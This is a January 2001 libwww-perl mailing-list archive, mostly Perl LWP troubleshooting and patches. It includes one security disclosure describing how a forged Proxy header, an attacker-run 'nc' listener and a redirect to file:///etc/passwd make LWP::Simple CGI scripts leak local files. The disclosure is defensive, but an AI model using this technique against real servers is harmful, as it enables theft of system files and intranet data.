Subject: Re: Request Post error useragent.pm line 227
References: <3A6F530F.BE698F04@dot.state.ak.us> <000d01c08655$3dd11a70$1a6001cb@chalmers.com.au>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I don't think I'm using Crypt::DES.  Under
/usr/local/lib/perl5/site_perl/5.6.0/sun4-solaris/Crypt
I have
drwxr-xr-x   2 root     other        512 Jan 10 12:17 SSLeay
-r-xr-xr-x   1 root     other       8363 Jan  7 00:39 SSLeay.pm
under
/usr/local/lib/perl5/site_perl/5.6.0/sun4-solaris/Crypt/SSLeay
i have
-r-xr-xr-x   1 root     other         55 Feb 25  2000 Conn.pm
-r-xr-xr-x   1 root     other         54 Feb 25  2000 CTX.pm
-r-xr-xr-x   1 root     other         54 Jan  7 00:39 Err.pm
-r-xr-xr-x   1 root     other       1041 Jan  7 00:39 MainContext.pm
-r-xr-xr-x   1 root     other         55 Feb 25  2000 X509.pm

Is DES part of an alternative to SSLeay?
-johnnie

Robert wrote:
> 
> I had exactly the same error the other day. Took me a week to find it. . I
> tracked it down to a conflict with the encryption method DES. (Crypt::DES) I
> switched to "Blowfish" and the error went away.
> 
> bob
> > I am (occasionally) receiving this error:
> > [23/Jan/2001:15:57:47] failure (10907): for host
> >  158.###.###.117 trying to POST /cgi-bin/test/paycc.cgi,
> >  cgieng_scan_headers reports: the CGI program
> >  /usr/netscape/server4/cgi-bin/test/paycc.cgi did not
> >  produce a valid header (name without value: got line
> >  "can't call method "request" on an undefined value at
> >  /usr/local/lib/perl5/site_perl/5.6.0/lwp/useragent.pm
> >  line 227.")
> >
> > in my httpd log when performing:
> >
> >    use HTTP::Request::Common qw(POST);
> >    use LWP::UserAgent;
> >    $ua = LWP::UserAgent->new;
> >
> >    my $req = POST "https:\/\/$cc_gateway_host$script",
> >    [   'x_Login'           => $cc_merchantID
> >       ,'x_Test_Request'    => $cc_test_mode
> > ...
> >       ,'x_Description'     => $pay_xact_desc
> >    ];
> >    $response = $ua->request($req)->as_string;
> >
> > To call a credit card processor within the CGI script for
> > my web pages.  It works ok 80% of the time.
> >
> > The really strange thing is that the CC processor does react
> > to my request (the transaction is processed perfectly)
> > but the error kills my CGI so user sees an incomplete page.
> >
> > Does anyone have any insight into this problem?  Could some
> > error trap on my "$response = $ua->request($req)->as_string;"
> > statement allow me to recover from the error?
> > Or could I copy UserAgent.pm into my directory and attempt to
> > debug it?
> >
> > # $Id: UserAgent.pm,v 1.73 2000/04/07 11:29:04 gisle Exp $
> > # $Id: Request.pm,v 1.27 1999/11/17 20:38:14 gisle Exp $
> > # $Id: Common.pm,v 1.16 1999/10/28 11:49:02 gisle Exp $
> >
> > bash-2.03$ perl -V
> > Summary of my perl5 (revision 5.0 version 6 subversion 0)
> > configuration:
> >   Platform:
> >     osname=solaris, osvers=2.8, archname=sun4-solaris
> >     uname='sunos chaos 5.8 generic_108528-02 sun4u sparc
> > sunw,ultra-5_10 '
> >     config_args='-de'
> > ...
> >     cc='cc', optimize='-O', gccversion=2.95.2 19991024 (release)
> > ...
> > Characteristics of this binary (from libperl):
> >   Compile-time options: USE_LARGE_FILES
> >   Built under solaris
> >   Compiled at Nov  7 2000 11:33:38
> >   @INC:
> >     /usr/local/lib/perl5/5.6.0/sun4-solaris
> >     /usr/local/lib/perl5/5.6.0
> >     /usr/local/lib/perl5/site_perl/5.6.0/sun4-solaris
> >     /usr/local/lib/perl5/site_perl/5.6.0
> >     /usr/local/lib/perl5/site_perl
> >
> > -- tia
> > John Gerrish     RMS3 Application Manager     907-465-8861    fax:2024
> >                  Alaska Marine Highway System, DOT/PF, State of Alaska
> >                  3132 Channel Dr, Juneau, AK  99801
> > Blessed are the flexible for they shall not be bent out of shape.
> >

-- 
John Gerrish     RMS3 Application Manager     907-465-8861    fax:2024
                 Alaska Marine Highway System, DOT/PF, State of Alaska
                 3132 Channel Dr, Juneau, AK  99801
Blessed are the flexible for they shall not be bent out of shape.

From leo@jongehelden.nl Sat Jan 27 05:32:21 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa04430 for <hyper>;
          27 Jan 2001 05:32 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa18478
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 27 Jan 2001 05:32 PST
Received: (qmail 15702 invoked by uid 508); 27 Jan 2001 13:32:14 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Delivered-To: moderator for libwww@perl.org
Received: (qmail 14568 invoked from network); 27 Jan 2001 13:20:52 -0000
Message-ID: <005201c08863$25ff44c0$0899a8c0@Dellie>
Reply-To: Leo van Snippenburg <leo@jongehelden.nl>
From: Leo van Snippenburg <leo@jongehelden.nl>
To: libwww@perl.org
MMDF-Warning:  Parse error in original version of preceding line at poindexter-relay.ics.uci.edu
Subject: https in LWP::Parallel v. 1.49
Date: Sat, 27 Jan 2001 14:14:58 +0100
Organization: Jonge Helden bv
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_004F_01C0886B.87681F40"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200

------=_NextPart_000_004F_01C0886B.87681F40
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

Dear all,

I am experiencing some strange behaviour in LWP::Parallel using the =3D
https protocol. This protocol is working fine under plain LWP, but give =
=3D
strange results when using the Parallel package.

Most strange is that it gives different results for different https =3D
sites. Sometimes it gives=3D20

302 Found, but there is no content

Sometimes it gives:

400 Bad request



Any help is appreciated,



Kind regards

Leo



------=_NextPart_000_004F_01C0886B.87681F40--


From v-libwww@vern.com Sun Jan 28 23:52:04 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa13726 for <hyper>;
          28 Jan 2001 23:52 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa22489
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 28 Jan 2001 23:51 PST
Received: (qmail 2782 invoked by uid 508); 29 Jan 2001 07:51:20 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Delivered-To: moderator for libwww@perl.org
Received: (qmail 2112 invoked from network); 29 Jan 2001 07:48:24 -0000
Date: Mon, 29 Jan 2001 00:48:23 -0700 (MST)
From: Vern Hart <v-libwww@vern.com>
X-Sender: vern@vax.area.com
To: libwww@perl.org
Subject: Can't call method "request" on an undefined value at ...
Message-ID: <Pine.GSO.4.21.0101282343570.18651-100000@vax.area.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Full error:

    Can't call method "request" on an undefined value at
    /usr/lib/perl5/site_perl/5.005/LWP/UserAgent.pm line 227, <DOM>
    chunk 69.

I've got a script that does a couple thousand requests to an https
URL.  I get the above error sporadicly.  I've had it at chunk 69,
640, 234, etc.  It's seemingly random and nothing changes between
runs except the location of the error.

I'm new to the list but noticed, in the archive, someone having a
similar (but more repeatable) problem.
http://www.ics.uci.edu/pub/websoft/libwww-perl/archive/2000h2/0819.html
One similarity is that Robert was using the same protocol, https.

The problem within LWP::UserAgent::simple_request (which gets called
from LWP::UserAgent::request, which I'm using) is that the eval
block at line 211 dies but $@ is not set to anything.  I worked
around the problem by creating a valid response object if $response
was not defined just after the eval block.

It's possible there's a bug in LWP::Protocol::https (since both
Robert and I are using https) but I can't reproduced the error
reliably enough to track it there.

The following patch is probably not a long-term solution but it at
least gives an error response instead of crashing the script.  In my
case, my script handles the false $response->is_success and retries
the request which then works.  YMMV.

Cheers,
Vern


--- LWP/UserAgent.old	Thu Jun  1 07:35:15 2000
+++ LWP/UserAgent.pm	Sun Jan 28 23:26:26 2001
@@ -218,6 +218,12 @@
	      HTTP::Response->new(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
				  $@);
	}
+	elsif (!defined $response)
+	{
+	    $response =
+	      HTTP::Response->new(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
+				  "Unknown Error");
+	}
     } else {
	$response = $protocol->request($request, $proxy,
				       $arg, $size, $timeout);



From suo@iki.fi Mon Jan 29 12:28:55 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa28875 for <hyper>;
          29 Jan 2001 12:28 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa10754
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 29 Jan 2001 12:28 PST
Received: (qmail 3196 invoked by uid 508); 29 Jan 2001 20:28:49 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Delivered-To: moderator for libwww@perl.org
Received: (qmail 28409 invoked from network); 29 Jan 2001 19:46:59 -0000
Date: Mon, 29 Jan 2001 21:46:25 +0200
From: Jukka Suomela <suo@iki.fi>
To: libwww@perl.org
Subject: security problem with LWP::Simple::get in CGI scripts
Message-ID: <1552242259.980804785@[192.168.1.10]>
X-Mailer: Mulberry/2.0.5 (Win32)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

[I sent the following message to Gisle Aas on December 12, 2000 but I got
no reply at all. It seems that two new versions of LWP have been published
since my original email message and LWP 5.50 still has the problem
described below. I'm sorry if this is a known issue - if it is, it should
be at least documented much better.]

----

Statements like

        $foo = LWP::Simple::get('http://foo.foo.com/foo/');

seem to be quite common in simple CGI scripts (which try to e.g. fetch
stock quotes or comic strips from other web sites and display the results
re-formatted or filtered).

Imagine a simple CGI script like this (called, say, "/cgi/test") installed
on the server "www.sample.com":

        #!/usr/bin/perl -w

        use LWP::Simple;
        print "Content-type: text/html\n\n";
        print LWP::Simple::get('http://foo.foo.com/foo/');

Seems pretty harmless to most (even experienced) Perl programmers.  All the
strings are constants, nothing is fetched from the user's input.

But what if an evil user send this kind of request to www.sample.com:

        GET /cgi-bin/test HTTP/1.0
        Proxy: http://bar.bar.com:8888

The web server creates (as the CGI specification tells) an environment
variable HTTP_XYZ for each HTTP header Xyz. In this case it means that the
web server sets the environment variable "HTTP_PROXY" to
"http://bar.bar.com:8888".  (E.g. Apache works exactly this way.)

LWP::Simple uses the http_proxy environment variable with any
capitalization.  Thus the CGI script on www.sample.com forwards the HTTP
request to bar.bar.com:8888.

The evil user is, of course, running a simple daemon (e.g. "nc -l -p8888")
on "bar.bar.com".  When www.sample.com connects this daemon, the user sends
back e.g. the following response:

        HTTP/1.0 302 Foobar
        Location: file:///etc/passwd

LWP gets back the redirection and honors it.  It opens the local file now
and sends its contents to the evil user.

Thus any simple CGI script which reads anything with LWP::Simple::get and
prints the result (or some non-empty part of it) is a potential security
hole.  I even tried the exploit with taint checking enabled.  It still
worked (I guess LWP parses the proxy name with regexps and thus untaints
it).

----

While none of these problems are really LWP's fault (perldoc LWP::Simple
even says that it reads the proxy configuration from the environment
variables), I can see at least two major problems:

1) First, one should never use any environment variables beginning with
'HTTP_' (at least upper case, possibly also lower case on non-Unix
platforms) unless one really wants to read the CGI request.

2) Second, redirections to file URLs can be dangerous.

----

Even if both of these problems were fixed, there might still be some
security problems with this kind of simple scripts:

1) If HTTP_PROXY environment variable was no longer used, still the
administrator of foo.foo.com could possibly exploit the CGI script by
(temporarily) creating a redirection to file:///etc/passwd or such and then
sending a request to the CGI script.

2) If http responses could send redirections to http URLs only, there could
still be a number of potential security problems.  The web server
www.sample.com might have e.g. access to the intranet of Sample, Inc. and
thus we could send redirections to http://intra.sample.com, etc., and read
confidential information.

----

Should there be another interface like LWP::Simple which would provide a
more secure interface to the LWP?  E.g. LWP::Simple::safeget which reads no
environment variables and supports no redirections at all?

I don't know what would be the right solution.  But I'm sure that users of
LWP::Simple don't understand all the possible security holes they might be
creating in their CGI scripts.  Those security issues are, unfortunately,
far from simple.  Thus I suggest that you at least change the documentation
of LWP and/or LWP::Simple to clearly explain the most serious security
issues there might be when using LWP::Simple in a CGI script.


Best Regards,

--
 Jukka Suomela - http://www.iki.fi/suo/
 Servin-Maijan tie 10 F 83, 02150 ESPOO, FINLAND


From u.wisser@publisher.de Tue Jan 30 04:23:39 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa00679 for <hyper>;
          30 Jan 2001 04:23 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa23387
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 30 Jan 2001 04:23 PST
Received: (qmail 26244 invoked by uid 508); 30 Jan 2001 12:23:28 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 26235 invoked from network); 30 Jan 2001 12:23:26 -0000
Received: from cicero2.cybercity.dk (212.242.40.53)
  by tmtowtdi.perl.org with SMTP; 30 Jan 2001 12:23:26 -0000
Received: from usr00.netlink.se (usr00.netlink.se [212.242.41.186])
	by cicero2.cybercity.dk (Postfix) with ESMTP id 9999AFFF68
	for <libwww@perl.org>; Tue, 30 Jan 2001 13:23:24 +0100 (CET)
Received: from Gustav.publisher.de (port246.cvx1-sto.ppp.netlink.se [62.66.4.247])
	by usr00.netlink.se (8.9.3/8.9.3) with ESMTP id NAA08137
	for <libwww@perl.org>; Tue, 30 Jan 2001 13:23:39 +0100 (CET)
	(envelope-from u.wisser@publisher.de)
Message-Id: <5.0.2.1.0.20010130130244.00a94510@post.netlink.se>
X-Sender: sft2589@post.netlink.se
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Tue, 30 Jan 2001 13:05:32 +0100
To: libwww@perl.org
From: Ulrich Wisser <u.wisser@publisher.de>
Subject: URI-1.10 error?
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Hello,

is this the correct list to post URI errors? I hope so.

I tried to install URI-1.10 and got this error message:

Dagobert:/usr/local/perl5modules/URI-1.10 # perl Makefile.PL
Checking if your kit is complete...
Looks good
Warning: prerequisite MIME::Base64 failed to load: Can't locate 
MIME/Base64.pm in @INC (@INC contains: 
/usr/local/lib/perl5/5.6.1/i586-linux-thread-multi 
/usr/local/lib/perl5/5.6.1 
/usr/local/lib/perl5/site_perl/5.6.1/i586-linux-thread-multi 
/usr/local/lib/perl5/site_perl/5.6.1 /usr/local/lib/perl5/site_perl .) at 
(eval 4) line 3.
Writing Makefile for URI

I know I need to install MIME::Base64. But why does it tell
my kit looks complete when it isn't? Shouldn't that be checked?

Regards

Ulrich
-- 
Searchengine Know How  - Webpromotion - Optimization - Internal Search
World Wide Web Publisher, Ulrich Wisser, Odensvag 13, S-14571 Norsborg
http://www.publisher.de   Tel: +46-8-53460905    Fax: +46-8-534 609 06


From ams@wiw.org Tue Jan 30 05:15:13 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa02351 for <hyper>;
          30 Jan 2001 05:15 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa00307
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 30 Jan 2001 05:15 PST
Received: (qmail 2346 invoked by uid 508); 30 Jan 2001 13:15:02 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 2320 invoked from network); 30 Jan 2001 13:14:49 -0000
Received: from unknown (HELO lustre.dyn.wiw.org) (203.94.249.225)
  by tmtowtdi.perl.org with SMTP; 30 Jan 2001 13:14:49 -0000
Received: from ams by lustre.dyn.wiw.org with local (Exim 3.16 #1)
	id 14Nadp-0001j9-00; Tue, 30 Jan 2001 18:46:13 +0530
Date: Tue, 30 Jan 2001 18:46:13 +0530
From: Abhijit Menon-Sen <ams@wiw.org>
To: Ulrich Wisser <u.wisser@publisher.de>
Cc: libwww@perl.org
Subject: Re: URI-1.10 error?
Message-ID: <20010130184613.A6577@lustre.linux.in>
Reply-To: ams@wiw.org
References: <5.0.2.1.0.20010130130244.00a94510@post.netlink.se>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <5.0.2.1.0.20010130130244.00a94510@post.netlink.se>; from u.wisser@publisher.de on Tue, Jan 30, 2001 at 01:05:32PM +0100

> Dagobert:/usr/local/perl5modules/URI-1.10 # perl Makefile.PL
> Checking if your kit is complete...
> Looks good
> [...]
> 
> I know I need to install MIME::Base64. But why does it tell my kit
> looks complete when it isn't? Shouldn't that be checked?

ExtUtils::MakeMaker::check_manifest prints this message while checking
that all the files ("the kit") mentioned in MANIFEST actually exist in
the build directory. It has nothing to do with required modules (which
are searched for in Makefile.PL itself).

- ams

From John_Gerrish@dot.state.ak.us Tue Jan 30 12:13:22 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa01324 for <hyper>;
          30 Jan 2001 12:13 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa22861
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 30 Jan 2001 12:13 PST
Received: (qmail 32733 invoked by uid 508); 30 Jan 2001 20:13:12 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 32724 invoked from network); 30 Jan 2001 20:13:10 -0000
Received: from hydra1.dot.state.ak.us (HELO web.dot.state.ak.us) (158.145.110.231)
  by tmtowtdi.perl.org with SMTP; 30 Jan 2001 20:13:10 -0000
Received: from dot.state.ak.us ([158.145.111.44]) by web.dot.state.ak.us
          (Netscape Messaging Server 3.6)  with ESMTP id AAA6120;
          Tue, 30 Jan 2001 11:12:40 -0900
Message-ID: <3A77208A.7E2FAFAF@dot.state.ak.us>
Date: Tue, 30 Jan 2001 11:14:02 -0900
From: John Gerrish <John_Gerrish@dot.state.ak.us>
Reply-To: John_Gerrish@dot.state.ak.us
Organization: Alaska Marine Highway System
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Vern Hart <v-libwww@vern.com>, libwww@perl.org
Subject: re: Request Post error useragent.pm line 227
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Vern,
What OS / Platform are you running on where you get the error 'sporadically'?
I have never seen it from my test linux server but it happens about 1 in 6 on
the sun-solaris.
both have (identical) v1.73 of UserAgent.pm.

& did you note in my message that my processor receives the request and
processes it.  
No need to do request over but I wasn't getting a chance to record
transaction/respond to customer.
-Johnnie

Vern wrote:
Full error:

    Can't call method "request" on an undefined value at
    /usr/lib/perl5/site_perl/5.005/LWP/UserAgent.pm line 227, <DOM>
    chunk 69.

I've got a script that does a couple thousand requests to an https
URL.  I get the above error sporadicly.  I've had it at chunk 69,
640, 234, etc.  It's seemingly random and nothing changes between
runs except the location of the error.

-- 
John Gerrish     RMS3 Application Manager     907-465-8861    fax:2024
                 Alaska Marine Highway System, DOT/PF, State of Alaska
                 3132 Channel Dr, Juneau, AK  99801
Blessed are the flexible for they shall not be bent out of shape.

From philip_mitchell@harvard.edu Tue Jan 30 12:48:46 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa04499 for <hyper>;
          30 Jan 2001 12:48 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa29038
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 30 Jan 2001 12:48 PST
Received: (qmail 16783 invoked by uid 508); 30 Jan 2001 20:48:38 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 16773 invoked from network); 30 Jan 2001 20:48:33 -0000
Received: from sylvia.harvard.edu (128.103.151.242)
  by tmtowtdi.perl.org with SMTP; 30 Jan 2001 20:48:33 -0000
Received: from phil_mitchell.harvard.edu (ospr28.harvard.edu [128.103.151.128])
	by sylvia.harvard.edu (8.9.3/8.9.3) with ESMTP id PAA10897
	for <libwww@perl.org>; Tue, 30 Jan 2001 15:48:28 -0500 (EST)
Message-Id: <4.3.2.7.2.20010130153835.00afdd20@hulmail.harvard.edu>
X-Sender: philip@hulmail.harvard.edu
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Tue, 30 Jan 2001 15:48:28 -0500
To: libwww@perl.org
From: Phil Mitchell <philip_mitchell@harvard.edu>
Subject: Workaround for LWP/Solaris missing EOF bug
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

On Solaris, an LWP request sometimes fails (ie. reports a server error) 
when the server is fine, b/c of some interaction between the OS and the 
server response. (See below for more info.) In fact, LWP is receiving data, 
but the data is improperly terminated and LWP times out. The workaround 
that I have found is to use Telnet.pm to open a connection (say, to port 
80), and do the GET by hand. Telnet.pm will also time out with these cases, 
but even when it does, you can get the response by looking at input_log(). 
Then you will need to parse it by hand.

Seems like it would be nice if LWP exposed its input log similarly -- or 
maybe it does and I just don't know about it...

More about the problem:

There is an interaction between Solaris and certain web servers (notably 
Microsoft-IIS/4.0) where the response to a GET comes back improperly 
terminated. You can observe this independently of LWP by doing a "telnet 
www.ndu.edu 80",
and then "GET http://www.ndu.edu/ndu/inss/strforum/forum83.html"
You will see telnet receive the response (it's a 404), but then (usually 
but not always) fail to terminate. As far as I know, you will only see this 
on Solaris (I'm on Solaris 7, have heard similar problems w/ 6); I've tried 
same under Linux and haven't seen this problem. I have seen this on a 
number of other sites.

The problem seems to be that LWP reports a server error (500) b/c it times 
out while waiting for the missing EOF terminator. I've turned on LWP::Debug 
and see it hang, apparently in the LWP::Protocol::http->request subroutine, 
or possible in collect(), though I'm not sure. You can see that LWP 
received the response, so it ought to do more than just report a timeout.


From v-libwww@vern.com Tue Jan 30 12:54:33 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa04982 for <hyper>;
          30 Jan 2001 12:54 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa29928
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 30 Jan 2001 12:54 PST
Received: (qmail 18449 invoked by uid 508); 30 Jan 2001 20:54:26 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 18440 invoked from network); 30 Jan 2001 20:54:26 -0000
Received: from vax.area.com (216.218.218.27)
  by tmtowtdi.perl.org with SMTP; 30 Jan 2001 20:54:26 -0000
Received: (qmail 26476 invoked by uid 2244); 30 Jan 2001 20:54:25 -0000
Date: Tue, 30 Jan 2001 13:54:25 -0700 (MST)
From: Vern Hart <v-libwww@vern.com>
X-Sender: vern@vax.area.com
To: John Gerrish <John_Gerrish@dot.state.ak.us>
cc: libwww@perl.org
Subject: re: Request Post error useragent.pm line 227
In-Reply-To: <3A77208A.7E2FAFAF@dot.state.ak.us>
Message-ID: <Pine.GSO.4.21.0101301350170.1356-100000@vax.area.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Today, John Gerrish wrote:
> 
> Vern,
> What OS / Platform are you running on where you get the error 'sporadically'?
> I have never seen it from my test linux server but it happens about 1 in 6 on
> the sun-solaris.
> both have (identical) v1.73 of UserAgent.pm.

The server with that problem is linux 2.0.36. And:
# perl -MLWP::UserAgent -e 'print "$LWP::UserAgent::VERSION\n";'
1.74

I don't know what differences 1.74 has to 1.73.

> & did you note in my message that my processor receives the request and
> processes it.  
> No need to do request over but I wasn't getting a chance to record
> transaction/respond to customer.

I don't think I found your message.  But, the https requests I'm
doing are not transactional.  It doesn't hurt me to do them over and
the important part is the data I get back.

Vern


From slivings@digitalriver.com Tue Jan 30 13:30:15 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa08159 for <hyper>;
          30 Jan 2001 13:30 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa06973
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 30 Jan 2001 13:30 PST
Received: (qmail 26278 invoked by uid 508); 30 Jan 2001 21:30:01 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 26269 invoked from network); 30 Jan 2001 21:30:01 -0000
Received: from ntmail.digitalriver.com (208.217.74.66)
  by tmtowtdi.perl.org with SMTP; 30 Jan 2001 21:30:01 -0000
Received: by ntmail.digitalriver.com with Internet Mail Service (5.5.2650.21)
	id <DVMYAX7F>; Tue, 30 Jan 2001 15:32:40 -0600
Message-ID: <98B0F392238CD411AACA00010231D8900FB470@ntmail.digitalriver.com>
From: Steve Livingston <slivings@digitalriver.com>
To: 'Phil Mitchell' <philip_mitchell@harvard.edu>, libwww@perl.org
Subject: RE: Workaround for LWP/Solaris missing EOF bug
Date: Tue, 30 Jan 2001 15:32:39 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C08B04.2B8AA350"

------_=_NextPart_001_01C08B04.2B8AA350
Content-Type: text/plain;
	charset="ISO-8859-1"

I recently found the same problem with an LWP request to a cgi pgm that runs
fine from the command line but times out for an LWP request.

Telnet(ports 80) to the cgi also hangs.

I just wrapped the cgi pgm (c-code) with a <cr> at the end and all was well.
Hmmm ... it was a booger isolating the problem.

Server using: apache/sun solaris 7



-----Original Message-----
From: Phil Mitchell [mailto:philip_mitchell@harvard.edu]
Sent: Tuesday, January 30, 2001 2:48 PM
To: libwww@perl.org
Subject: Workaround for LWP/Solaris missing EOF bug


On Solaris, an LWP request sometimes fails (ie. reports a server error) 
when the server is fine, b/c of some interaction between the OS and the 
server response. (See below for more info.) In fact, LWP is receiving data, 
but the data is improperly terminated and LWP times out. The workaround 
that I have found is to use Telnet.pm to open a connection (say, to port 
80), and do the GET by hand. Telnet.pm will also time out with these cases, 
but even when it does, you can get the response by looking at input_log(). 
Then you will need to parse it by hand.

Seems like it would be nice if LWP exposed its input log similarly -- or 
maybe it does and I just don't know about it...

More about the problem:

There is an interaction between Solaris and certain web servers (notably 
Microsoft-IIS/4.0) where the response to a GET comes back improperly 
terminated. You can observe this independently of LWP by doing a "telnet 
www.ndu.edu 80",
and then "GET http://www.ndu.edu/ndu/inss/strforum/forum83.html"
You will see telnet receive the response (it's a 404), but then (usually 
but not always) fail to terminate. As far as I know, you will only see this 
on Solaris (I'm on Solaris 7, have heard similar problems w/ 6); I've tried 
same under Linux and haven't seen this problem. I have seen this on a 
number of other sites.

The problem seems to be that LWP reports a server error (500) b/c it times 
out while waiting for the missing EOF terminator. I've turned on LWP::Debug 
and see it hang, apparently in the LWP::Protocol::http->request subroutine, 
or possible in collect(), though I'm not sure. You can see that LWP 
received the response, so it ought to do more than just report a timeout.

------_=_NextPart_001_01C08B04.2B8AA350--

From philip_mitchell@harvard.edu Tue Jan 30 13:38:33 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa09088 for <hyper>;
          30 Jan 2001 13:38 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
